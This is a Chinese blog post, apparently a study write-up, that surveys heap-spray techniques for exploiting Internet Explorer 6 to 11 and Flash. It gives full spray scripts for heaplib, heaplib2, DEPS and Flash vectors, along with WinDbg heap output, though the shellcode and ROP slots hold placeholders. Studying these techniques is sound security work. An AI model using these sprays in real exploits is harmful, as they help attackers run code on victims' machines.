博客园的自动保存系统真心不咋地,写的差不多的文章蓝屏之后就没有了,醉了!

  浏览器是互联网世界最主要的软件之一,从IE6到IE11安全攻防在不断升级,防御措施的实施促使堆喷射技巧不断变化。写这篇博文想好好整理并实践一下这些年的堆喷射技巧。

  文章主要参考《灰帽黑客》,近几年的安全大会的一些演说,一些安全团队的blog,当然由于水平有限,如有错误,欢迎指教。

  1.Windows XP下的IE6和IE7的堆喷射都是老生常谈了,最直接继承了Skylined的思想,直接放代码:

<html>
<script >
var shellcode = unescape('%u4141%u4141');
var bigblock = unescape('%u9090%u9090');
var headersize = 20;
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace)
bigblock += bigblock;
var fillblock = bigblock.substring(0,slackspace);
var block = bigblock.substring(0,bigblock.length - slackspace);
while (block.length + slackspace < 0x40000)
block = block + block + fillblock;
var memory = new Array();
for (i = 0; i < 500; i++)
{
memory[i] = block + shellcode
}
</script>
</html>

  这种堆喷射的关键在于使堆分配的分配的空间大小和它需要存储的数据的大小尽量接近,直接用windbg看一下用上面代码产生的效果如何。

  其中,通过运行!heap –stat查看内存堆块信息,通过运行!heap –stat –h可以查看所有堆的同类信息,通过运行!heap -flt s来指出所有指定大小的堆块的信息。

0:009> !heap -stat
_HEAP 00140000
Segments 00000002
Reserved bytes 00200000
Committed bytes 0009f000
VirtAllocBlocks 00000001
VirtAlloc bytes 021b0000
_HEAP 00910000
Segments 00000001
Reserved bytes 00100000
Committed bytes 00100000
VirtAllocBlocks 00000000
VirtAlloc bytes 00000000
.......

  

:> !heap -stat -h
heap @
group-by: TOTSIZE max-display:
size #blocks total ( %) (percent of total busy bytes)
7ffe0 1f5 - fa7c160 (99.78)
- (0.01)
7fe0 - 7fe0 (0.01)
7fb0 - 7fb0 (0.01)
56f8 - 56f8 (0.01)
52ac - 52ac (0.01)
.....
:> !heap -flt s     7ffe0
_HEAP @
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
fffc [0b] 7ffe0 - (busy VirtualAlloc)
021b0018 fffc fffc [0b] 021b0020 7ffe0 - (busy VirtualAlloc)
022b0018 fffc fffc [0b] 022b0020 7ffe0 - (busy VirtualAlloc)
fffc fffc [0b] 7ffe0 - (busy VirtualAlloc)
023b0018 fffc fffc [0b] 023b0020 7ffe0 - (busy VirtualAlloc)
... 

  效果很好,当然这种手段只能用于IE6,IE7。

  2.heaplib,libheap2以及它的精准喷射技术。  

  heaplib是一个js关于内存分配的库,主要用OLEAUT32.DLL中的SysAllocString()和SysFreeString()对系统内存进行精确分配,并进行封装。这是由Alex Sotirow创建的,可成功在IE8进行喷射,关于SysAllocString()函数,并不是每次调用SysAllocString函数,都会在堆中新分配一个内存空间供string对象使用的。所需空间分配和释放的具体工作是有OLEAUT32中的APP_DATA类实现的,在这个类中使用了一个很普通的内存分配算法:

    一个类似于系统的堆内存分配函数(如HeapAlloc函数)使用的Lookaside list的缓存,被释放的内存满足一定条件时会被释放到这个缓存中。

    当应用程序调用APP_DATA::AllocCachedMem()函数时,它首先会检查缓存中相应的项中的6个内存块,从中找出最符合要求内存块,然后把这个内存块从缓存中释放出来,把它直接返回给应用程序。如果没有找到合适的内存块,它就会调用HeapAlloc()函数从堆中发配新的内存空间。

  在这种情况下,由于缓存内存的不确定性,会导致内存分配不能对齐。所以为了确保不重用堆缓存,可以直接分配6个块,每个块都是箱中允许的最大大小,不剩下任何可用的缓存块,代码如下:

//heapspary
plunger = new Array();
function flushCache() {
plunger = null;
CollectGarbage();
plunger = new Array();
for (i = 0; i < 6; i++) {
plunger.push(alloc(32));
plunger.push(alloc(64));
plunger.push(alloc(256));
plunger.push(alloc(32768));
}
}
flushCache();
alloc_str(0x200);
free_str();
flushCache();

  SysFreeString()函数,实际在内部调用的是CollectGarbage()函数,调用这个函数我们就能立即强制垃圾处理机制。heaplib库的应用范围十分广泛,本文只会专注于堆喷射领域,下面,看一下堆喷射代码:

<!DOCTYPE html>
<html>
<head>
<script type="text/javascript" src="heaplib.js"></script>
</head>
<body>
<script type="text/javascript">
var heap_obj = new heapLib.ie(0x10000);
var code = unescape("%ucccc");
while(code.length<400) code += code;
code = code.substring(0,400);
var rop = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444%u4545%u4545%u4646%u4646%u4747%u4747%u4848%u4848");
var pad = unescape("%u9090%u9090");
while (pad.length < 0x1000) pad += pad;
offset_length = 0x5F6;
junk_offset = pad.substring(0, offset_length); var shellcode = junk_offset + rop + code + pad.substring(0, 0x800 - code.length - junk_offset.length - rop.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(2, 0x40000 - 0x21); for (var i=0; i < 500; i++) {
heap_obj.alloc(block);
}
alert("HeapLib done");
</script>
</body> </html>

  Heaplib2库与Heaplib库最大的不同是使用了随机生成的DOM特性,在堆中分配负载。这样也绕过了一些浏览器的安全机制。可以在IE9~IE11成功喷射。

//heapSpray2
<!--Slighly modified and based on Chris Valasek script -->
<!DOCTYPE html>
<html> <head>
<script type="text/javascript" src="heapLib2.js"></script>
</head>
<body>
<h1 id="wonk" data-wonk="wonky">honk</h1> <script type="text/javascript">
var obj = document.getElementById("wonk"); //Create a heapLib2 object for Internet Explorer
var heap = new heapLib2.ie(obj, 0x80000);
var code = unescape("%ucccc");
while(code.length<400) code += code;
code = code.substring(0,400);
var rop = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444%u4545%u4545%u4646%u4646%u4747%u4747%u4848%u4848");
var pad = unescape("%u9090%u9090");
while (pad.length < 0x1000) pad += pad; offset_length = 0x5F6;
junk_offset = pad.substring(0, offset_length); var shellcode = junk_offset + rop + code + pad.substring(0, 0x800 - code.length - junk_offset.length - rop.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(2, 0x40000 - 0x21);
for (var i = 0; i < 0x500; i++){
//this will bypass the cache allocator
heap.sprayalloc("big_attr"+i, block);
}
heap.free("big_attr0");
alert("HeapLib2 done");
</script>
</body> </html>

  由于DEP的实施,不能直接跳到nop进行执行,需要先进行ROP是的shellcode得到执行,所以我们需要预测rop链的准确位置,由于内存分配是对齐的,这意味着如果我们用正确的大小的块,和正确的大小的喷射块,我们将确保每个喷射块开始,将在可预见的地址定位。再通过简单的计算,可以实现准确喷射。

  3.DEPS技术(DOM Element Property Spray)  Corelan Team在2013年在博客上发的一篇文章简绍了这种技术。这项技术的思想是创建大量的DOM元素,设置一个元素属性为特殊值,也可以混合使用各种元素。

  此外,DOM元素完成精确分配不是新技术。但我没看到基于这个概念的堆喷射。总之,DEPS技术基于以下四步:
  >在页面放置一个div元素
  >新建大量的任意元素
  >用payload设置title属性,用substring()确保需要的长度

  >增加这个到div

 

//喷射地址为0x20302228
<html>
<head></head>
<body>
<div id='blah'></div>
<script language='javascript'>
var div_container = document.getElementById('blah');
div_container.style.cssText = "display:none";
var data;
offset = 0x104;
junk = unescape("%u2020%u2020");
while(junk.length < 0x1000) junk+=junk; rop = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444%u4545%u4545%u4646%u4646%u4747%u4747");
shellcode = unescape("%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc");
data = junk.substring(0,offset) + rop + shellcode;
data += junk.substring(0,0x800-offset-rop.length-shellcode.length); //20+rop+shellcode+20 length==0x800 while(data.length < 0x80000) data += data;
for (var i=0; i < 0x250; i++)
{
var obj = document.createElement("spray");
obj.title = data.substring(0,0x40000-0x58);
obj.style.fontFamily = data.substring(0,0x40000-0x58);
div_container.appendChild(obj);
}
alert("spray done");
</script>
</body>
</html>

  而且,这个技术并需要添加随机数据来保证不被防御措施发现,这也是这个技术一个优势所在。

  4.HTML5 Spray,

  HTML5的出现给浏览器提供更好的视频和音频体验,而不需要依赖外部插件,但是,一个新功能产生的同时,也会带来潜藏的攻击面,关于攻击面的描写,可以参照博客另一篇文章(关于Andorid攻击面)Core Security的Federico Muttis和Anibal Sacco在2012发表了关于使用HTML5进行堆喷射的研究。在其中,可以通过操作包括cancas在内的Uint8ClampedArray, FloatXXArray, IntXXArray, UintXXArray等元素来字节级加载负载。方然,直接使用这种方法速度过慢,容易被发现浏览器存在问题,更推荐使用WebWorker创建线程加快喷射。由于个人更喜爱DEPS,所以略写,当然经过测试,可以绕过IE11的防御机制,代码会放在文末的压缩包里面。

  5.使用ActionScript进行喷射

  ActionScript是Flash的原因。这并不是什么新的技术,虽然使用的ActionScript和Javascript不同,但是喷射原理基本一致,这里着重讲一下使用数组向量的Flash喷射:代码如下

//喷射地址为1a1b2000
package
{
import flash.media.*;
import flash.display.Sprite;
public class VecSpray extends Sprite
{
public var s:__AS3__.vec.Vector.<Object>;
public function VecSpray()
{
super();
this.s = new Vector.<Object>(98688);
var loc1:*=0; while (loc1 < 98688)
{
this.s[loc1] = new Vector.<uint>(4096 / 4 - 2);//0x3FE
this.s[loc1][0] = 0xDEADBEE1;
this.s[loc1][(16 - 8) / 4] = 0x1a1b2000; //[2]
this.s[loc1][(20 - 8) / 4] = 0x1a1b2000; //[3]
this.s[loc1][(752 - 8) / 4] = 0x41414141; //[186]
this.s[loc1][(448 - 8) / 4] = 0; //[110]
++loc1;
}
return;
}
}
}

这里通过对98688和3FE对地址进行控制。同时还可以帮助绕过ROP+ALSR。

  6.JIT Spray技术

  JIT喷射”技术是在 2010年首次被提出来的。其基本思想是利用高级脚本语言中的常量数字在可预测的地址上产生想要的JIT指令片段。随着JIT喷射作为一种可靠的漏洞利用技术逐渐流行起来,软件厂商开始着手重新设计它们的JIT引擎。此后,一系列缓解措施被采用来防止JIT喷射,比如随机化JIT代码页的分配及变换JIT代码生成。这导致JIT基本已经退出了历史的舞台,但是作为一种思路可以学习一下,这里就略去了,可以根据压缩包里资料自主学习。

  

探究堆喷射(heap spray)的更多相关文章

  1. OD: Memory Attach Technology - Off by One, Virtual Function in C++ & Heap Spray

    Off by One 根据 Halvar Flake 在“Third Generation Exploitation”中的描述,漏洞利用技术依攻击难度从小到大分为三类: . 基础的栈溢出利用,可以利用 ...

  2. windows环境下的heap spray+stack pivot gadget 实现绕过dep

    ASLR+DEP是windows平台下最为常见的两种保护手段.这两种手段使得最基础的jmp esp等手法不再适用,而单纯的堆喷也会因为堆内存不可执行而失效.那么这里就来介绍一下heap spray+s ...

  3. Heap Spray原理

    Heap Spray定义基本描述 Heap Spray并没有一个官方的正式定义,毕竟这是漏洞攻击技术的一部分.但是我们可以根据它的特点自己来简单总结一下.Heap Spray是在shellcode的前 ...

  4. Heap Spray原理浅析

    Heap Spray定义基本描述 Heap Spray并没有一个官方的正式定义,毕竟这是漏洞攻击技术的一部分.但是我们可以根据它的特点自己来简单总结一下.Heap Spray是在shellcode的前 ...

  5. [数据结构]——堆(Heap)、堆排序和TopK

    堆(heap),是一种特殊的数据结构.之所以特殊,因为堆的形象化是一个棵完全二叉树,并且满足任意节点始终不大于(或者不小于)左右子节点(有别于二叉搜索树Binary Search Tree).其中,前 ...

  6. Java的堆(Heap)和栈(Stack)的区别

    Java中的堆(Heap)是一个运行时数据区,用来存放类的对象:栈(Stack)主要存放基本的数据类型(int.char.double等8种基本数据类型)和对象句柄. 例1 int a=5; int ...

  7. 纸上谈兵:堆(heap)

    作者:Vamei 出处:http://www.cnblogs.com/vamei 欢迎转载,也请保留这段声明.谢谢! 堆(heap)又被为优先队列(priority queue).尽管名为优先队列,但 ...

  8. 堆(Heap)和二叉堆(Binary heap)

    堆(Heap) The operations commonly performed with a heap are: create-heap: create an empty heap heapify ...

  9. Java 堆内存(Heap)[转]

    将jvm内存很不错的文章,转自 堆(Heap)又被称为:优先队列(Priority Queue),是计算机科学中一类特殊的数据结构的统称.堆通常是一个可以被看做一棵树的数组对象.在队列中,调度程序反复 ...

随机推荐

  1. Percona-Tookit工具包之pt-heartbeat

      Preface       Replication delay is a common issue in MySQL replications.Especially in those replic ...

  2. Linux认知之旅【05 进一步了解Linux装软件】!

    一.Linux软件管理系统 二.Linux还可以用源码安装 三.Linux软件配置

  3. python小结

    c:\python33添加到你的PATH 环境变量中,你可以在DOS 窗口中 输入以下命令:set path=%path%;C:\python33 id() 方法的返回值就是对象的内存地址. 在#! ...

  4. Qt(1)

    Qt Qt开发图形界面软件,可以跨win.linux.mac平台.移动端,使用c++开发 Qt采用所见即所得的UI设计(UI设计和代码是联动的),GUI界面编辑信号和槽,由开发环境自动生成c++代码, ...

  5. 团队项目-第二次Scrum 会议

    时间:10.24 时长:30分钟 地点:线上 工作情况 团队成员 已完成任务 待完成任务 解小锐 学习官方样例 根据初步讨论结果编写初步的api文档 陈鑫 学习cocos creator基本使用 采用 ...

  6. Android Service完全解析

    Service的基本用法 1.新建一个Android项目,新建一个MyService继承自Service,并重写父类的onCreate(),onStartCommand()方法和onDestory() ...

  7. kibana的查询语法

    kibana的查询语法是    字段Fields:关键词

  8. 【Nescafé 31】杯NOIP模拟赛

    t1 题意:n*m的棋盘上从(1,1)走到(n,m),只能向下或向右,一些格子有老鼠,每个老鼠互不相同,当处于与老鼠有重边的格子时,视为看见了这只老鼠,求到终点看到最少的不同老鼠数. 分析:DP 由于 ...

  9. 【Luogu】P3288方伯伯运椰子(消圈定理)

    题目链接 分数规划题,详见luogu题解 #include<cstdio> #include<cstring> #include<cctype> #include& ...

  10. 微信支付:回调地址notify_url不能带参数

    最近在用Yii2写一个微信商城,在调用微信支付接口时遇到了问题. 支付环节是正常的,微信端能收到支付成功的系统提示,然而回调url始终收不到微信服务器的POST,经过手动测试,回调页面的逻辑也没有问题 ...